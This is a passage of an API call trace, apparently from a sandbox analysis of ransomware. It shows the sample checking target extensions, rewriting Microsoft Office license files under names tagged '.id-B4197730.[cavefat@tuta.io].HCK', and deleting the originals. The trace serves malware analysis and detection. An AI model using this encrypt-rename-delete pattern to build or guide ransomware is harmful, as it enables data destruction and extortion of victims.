Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0241.302] lstrlenW (lpString=".1cd") returned 4 [0241.302] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0241.303] lstrlenW (lpString=".jpg") returned 4 [0241.303] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0241.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0241.303] lstrlenW (lpString=".doc") returned 4 [0241.303] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.303] lstrlenW (lpString=".docx") returned 5 [0241.303] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.303] lstrlenW (lpString=".pdf") returned 4 [0241.303] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.303] lstrlenW (lpString=".xls") returned 4 [0241.303] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.303] lstrlenW (lpString=".xlsx") returned 5 [0241.303] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.303] lstrlenW (lpString=".ppt") returned 4 [0241.303] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0241.303] lstrlenW (lpString=".zip") returned 4 [0241.303] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.303] lstrlenW (lpString=".rar") returned 4 [0241.303] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.303] lstrlenW (lpString=".bz2") returned 4 [0241.303] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.303] lstrlenW (lpString=".7z") returned 3 [0241.303] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0241.303] lstrlenW (lpString=".dbf") returned 4 [0241.303] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0241.303] lstrlenW (lpString=".1cd") returned 4 [0241.303] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0241.303] lstrlenW (lpString=".jpg") returned 4 [0241.303] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.303] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0241.303] lstrlenW (lpString="MondoR_Subscription-pl.xrm-ms") returned 29 [0241.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0241.304] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11167) returned 1 [0241.304] CloseHandle (hObject=0x4b8) returned 1 [0241.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms")) returned 0x220 [0241.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0241.305] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.305] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0241.306] GetLastError () returned 0x0 [0241.306] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2b9f, lpOverlapped=0x0) returned 1 [0241.307] WriteFile (in: hFile=0x4b4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0241.308] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0241.308] WriteFile (in: hFile=0x4b4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x10e, lpOverlapped=0x0) returned 1 [0241.308] SetEndOfFile (hFile=0x4b4) returned 1 [0241.308] CloseHandle (hObject=0x4b4) returned 1 [0241.308] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.308] SetEndOfFile (hFile=0x4b8) returned 1 [0241.310] CloseHandle (hObject=0x4b8) returned 1 [0241.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms")) returned 1 [0241.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0241.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0241.312] lstrlenW (lpString=".doc") returned 4 [0241.312] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.312] lstrlenW (lpString=".docx") returned 5 [0241.312] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.312] lstrlenW (lpString=".pdf") returned 4 [0241.312] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.312] lstrlenW (lpString=".xls") returned 4 [0241.312] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.312] lstrlenW (lpString=".xlsx") returned 5 [0241.312] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.312] lstrlenW (lpString=".ppt") returned 4 [0241.312] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0241.312] lstrlenW (lpString=".zip") returned 4 [0241.312] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.312] lstrlenW (lpString=".rar") returned 4 [0241.312] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.312] lstrlenW (lpString=".bz2") returned 4 [0241.312] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.312] lstrlenW (lpString=".7z") returned 3 [0241.312] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0241.312] lstrlenW (lpString=".dbf") returned 4 [0241.312] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0241.312] lstrlenW (lpString=".1cd") returned 4 [0241.312] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0241.312] lstrlenW (lpString=".jpg") returned 4 [0241.312] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0241.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0241.312] lstrlenW (lpString=".doc") returned 4 [0241.312] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.312] lstrlenW (lpString=".docx") returned 5 [0241.312] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.312] lstrlenW (lpString=".pdf") returned 4 [0241.312] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.312] lstrlenW (lpString=".xls") returned 4 [0241.312] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.312] lstrlenW (lpString=".xlsx") returned 5 [0241.312] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.312] lstrlenW (lpString=".ppt") returned 4 [0241.312] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0241.312] lstrlenW (lpString=".zip") returned 4 [0241.312] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.312] lstrlenW (lpString=".rar") returned 4 [0241.312] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.312] lstrlenW (lpString=".bz2") returned 4 [0241.313] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.313] lstrlenW (lpString=".7z") returned 3 [0241.313] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0241.313] lstrlenW (lpString=".dbf") returned 4 [0241.313] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0241.313] lstrlenW (lpString=".1cd") returned 4 [0241.313] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0241.313] lstrlenW (lpString=".jpg") returned 4 [0241.313] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.313] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0241.313] lstrlenW (lpString="MondoR_Subscription-ppd.xrm-ms") returned 30 [0241.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0241.314] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=32361) returned 1 [0241.314] CloseHandle (hObject=0x4b8) returned 1 [0241.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms")) returned 0x220 [0241.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0241.314] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.314] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0241.315] GetLastError () returned 0x0 [0241.315] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x7e69, lpOverlapped=0x0) returned 1 [0241.532] WriteFile (in: hFile=0x4b4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x7e70, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x7e70, lpOverlapped=0x0) returned 1 [0241.552] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0241.552] WriteFile (in: hFile=0x4b4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x110, lpOverlapped=0x0) returned 1 [0241.552] SetEndOfFile (hFile=0x4b4) returned 1 [0241.552] CloseHandle (hObject=0x4b4) returned 1 [0241.552] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.552] SetEndOfFile (hFile=0x4b8) returned 1 [0241.554] CloseHandle (hObject=0x4b8) returned 1 [0241.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms")) returned 1 [0242.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0242.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0242.002] lstrlenW (lpString=".doc") returned 4 [0242.002] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.002] lstrlenW (lpString=".docx") returned 5 [0242.002] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.002] lstrlenW (lpString=".pdf") returned 4 [0242.002] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.002] lstrlenW (lpString=".xls") returned 4 [0242.002] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.002] lstrlenW (lpString=".xlsx") returned 5 [0242.003] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.003] lstrlenW (lpString=".ppt") returned 4 [0242.003] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0242.003] lstrlenW (lpString=".zip") returned 4 [0242.003] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.003] lstrlenW (lpString=".rar") returned 4 [0242.003] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.003] lstrlenW (lpString=".bz2") returned 4 [0242.003] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.003] lstrlenW (lpString=".7z") returned 3 [0242.003] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0242.003] lstrlenW (lpString=".dbf") returned 4 [0242.003] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0242.003] lstrlenW (lpString=".1cd") returned 4 [0242.003] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0242.003] lstrlenW (lpString=".jpg") returned 4 [0242.003] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0242.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0242.003] lstrlenW (lpString=".doc") returned 4 [0242.003] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.003] lstrlenW (lpString=".docx") returned 5 [0242.003] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.003] lstrlenW (lpString=".pdf") returned 4 [0242.003] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.003] lstrlenW (lpString=".xls") returned 4 [0242.003] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.003] lstrlenW (lpString=".xlsx") returned 5 [0242.003] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.003] lstrlenW (lpString=".ppt") returned 4 [0242.003] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0242.003] lstrlenW (lpString=".zip") returned 4 [0242.003] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.003] lstrlenW (lpString=".rar") returned 4 [0242.003] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.003] lstrlenW (lpString=".bz2") returned 4 [0242.003] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.003] lstrlenW (lpString=".7z") returned 3 [0242.003] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0242.003] lstrlenW (lpString=".dbf") returned 4 [0242.004] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0242.004] lstrlenW (lpString=".1cd") returned 4 [0242.004] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0242.004] lstrlenW (lpString=".jpg") returned 4 [0242.004] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.004] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.004] lstrlenW (lpString="MondoR_Subscription-ul-oob.xrm-ms") returned 33 [0242.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0242.005] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11612) returned 1 [0242.005] CloseHandle (hObject=0x4b0) returned 1 [0242.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms")) returned 0x220 [0242.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0242.005] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.005] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0242.006] GetLastError () returned 0x0 [0242.006] ReadFile (in: hFile=0x4b0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2d5c, lpOverlapped=0x0) returned 1 [0242.012] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2d60, lpOverlapped=0x0) returned 1 [0242.013] ReadFile (in: hFile=0x4b0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.014] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x116, lpOverlapped=0x0) returned 1 [0242.014] SetEndOfFile (hFile=0x548) returned 1 [0242.014] CloseHandle (hObject=0x548) returned 1 [0242.014] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.014] SetEndOfFile (hFile=0x4b0) returned 1 [0242.016] CloseHandle (hObject=0x4b0) returned 1 [0242.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.016] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms")) returned 1 [0242.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0242.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0242.017] lstrlenW (lpString=".doc") returned 4 [0242.017] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.017] lstrlenW (lpString=".docx") returned 5 [0242.017] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.017] lstrlenW (lpString=".pdf") returned 4 [0242.017] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.017] lstrlenW (lpString=".xls") returned 4 [0242.017] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.017] lstrlenW (lpString=".xlsx") returned 5 [0242.017] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.017] lstrlenW (lpString=".ppt") returned 4 [0242.017] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0242.017] lstrlenW (lpString=".zip") returned 4 [0242.017] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.017] lstrlenW (lpString=".rar") returned 4 [0242.017] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.017] lstrlenW (lpString=".bz2") returned 4 [0242.017] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.017] lstrlenW (lpString=".7z") returned 3 [0242.017] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.017] lstrlenW (lpString="C:\\Program Files\\Microsoft 